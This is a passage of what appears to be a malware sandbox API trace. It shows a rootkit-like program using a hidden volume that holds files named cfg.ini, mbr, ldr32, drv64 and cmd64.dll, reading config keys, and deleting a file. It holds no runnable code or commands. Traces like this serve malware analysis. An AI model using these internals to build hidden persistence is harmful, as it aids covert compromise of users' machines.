Event=0xfffff880028b2620) [0124.415] IdePortDispatch () returned 0x103 [0124.415] KeWaitForMutexObject () returned 0x0 [0124.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.415] KeLeaveCriticalRegion () [0124.415] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.415] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.415] KeEnterCriticalRegion () [0124.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354e000 [0124.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.415] IdePortDispatch () returned 0x103 [0124.415] KeWaitForMutexObject () returned 0x0 [0124.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.416] IdePortDispatch () returned 0x103 [0124.416] KeWaitForMutexObject () returned 0x0 [0124.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.416] KeLeaveCriticalRegion () [0124.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.416] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.416] KeEnterCriticalRegion () [0124.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.416] KeLeaveCriticalRegion () [0124.416] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.416] KeEnterCriticalRegion () [0124.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.416] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.416] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.416] KeLeaveCriticalRegion () [0124.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.416] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.417] KeEnterCriticalRegion () [0124.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] ExFreePoolWithTag (P=0xfffffa8003bf1750, Tag=0x0) [0124.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] KeLeaveCriticalRegion () [0124.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.417] ReleaseMutex (hMutex=0xf0) returned 1 [0124.417] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.417] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.417] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.417] KeEnterCriticalRegion () [0124.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.417] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.417] IdePortDispatch () returned 0x103 [0124.417] KeWaitForMutexObject () returned 0x0 [0124.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.417] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.417] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.417] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.417] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.417] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1f60 [0124.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] KeLeaveCriticalRegion () [0124.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.417] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.417] KeEnterCriticalRegion () [0124.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.417] KeLeaveCriticalRegion () [0124.417] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.417] KeEnterCriticalRegion () [0124.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.418] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.418] IdePortDispatch () returned 0x103 [0124.418] KeWaitForMutexObject () returned 0x0 [0124.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.418] KeLeaveCriticalRegion () [0124.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.418] KeEnterCriticalRegion () [0124.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.418] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354f000 [0124.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.418] IdePortDispatch () returned 0x103 [0124.418] KeWaitForMutexObject () returned 0x0 [0124.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.418] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.418] IdePortDispatch () returned 0x103 [0124.418] KeWaitForMutexObject () returned 0x0 [0124.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] KeLeaveCriticalRegion () [0124.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.419] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.419] KeEnterCriticalRegion () [0124.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] KeLeaveCriticalRegion () [0124.419] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.419] KeEnterCriticalRegion () [0124.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.419] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] KeLeaveCriticalRegion () [0124.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.419] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.419] KeEnterCriticalRegion () [0124.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] ExFreePoolWithTag (P=0xfffffa8003bf1f60, Tag=0x0) [0124.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.419] KeLeaveCriticalRegion () [0124.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.420] ReleaseMutex (hMutex=0xf0) returned 1 [0124.420] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.420] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.420] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.420] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.420] KeEnterCriticalRegion () [0124.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.420] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.420] IdePortDispatch () returned 0x103 [0124.420] KeWaitForMutexObject () returned 0x0 [0124.420] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.420] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.420] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.420] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.420] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.420] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.420] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.420] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.420] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.420] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.420] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.420] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.420] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.420] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.420] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.420] KeLeaveCriticalRegion () [0124.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.420] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.420] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.420] KeEnterCriticalRegion () [0124.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.421] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.421] IdePortDispatch () returned 0x103 [0124.421] KeWaitForMutexObject () returned 0x0 [0124.421] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.421] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.421] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.421] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.421] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.421] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.421] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.421] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.421] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.421] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.421] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.421] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.421] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.421] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.421] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.421] KeLeaveCriticalRegion () [0124.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.421] ReleaseMutex (hMutex=0x100) returned 1 [0124.421] Sleep (dwMilliseconds=0x2bf20) [0124.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d5beed0, dwHighDateTime=0x1d24fa4)) [0124.428] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.428] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.428] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.428] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.428] KeEnterCriticalRegion () [0124.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.428] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.428] IdePortDispatch () returned 0x103 [0124.428] KeWaitForMutexObject () returned 0x0 [0124.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.428] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.428] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.428] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.428] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.428] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.428] KeLeaveCriticalRegion () [0124.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.428] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.428] KeEnterCriticalRegion () [0124.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.428] KeLeaveCriticalRegion () [0124.428] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.428] KeEnterCriticalRegion () [0124.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.429] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.429] IdePortDispatch () returned 0x103 [0124.429] KeWaitForMutexObject () returned 0x0 [0124.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.429] KeLeaveCriticalRegion () [0124.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.429] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.429] KeEnterCriticalRegion () [0124.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.429] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003552000 [0124.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.429] IdePortDispatch () returned 0x103 [0124.429] KeWaitForMutexObject () returned 0x0 [0124.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.429] IdePortDispatch () returned 0x103 [0124.430] KeWaitForMutexObject () returned 0x0 [0124.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] KeLeaveCriticalRegion () [0124.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.430] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.430] KeEnterCriticalRegion () [0124.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] KeLeaveCriticalRegion () [0124.430] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.430] KeEnterCriticalRegion () [0124.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] KeLeaveCriticalRegion () [0124.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.430] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.430] KeEnterCriticalRegion () [0124.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.430] KeLeaveCriticalRegion () [0124.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.430] ReleaseMutex (hMutex=0xf0) returned 1 [0124.431] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.431] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" 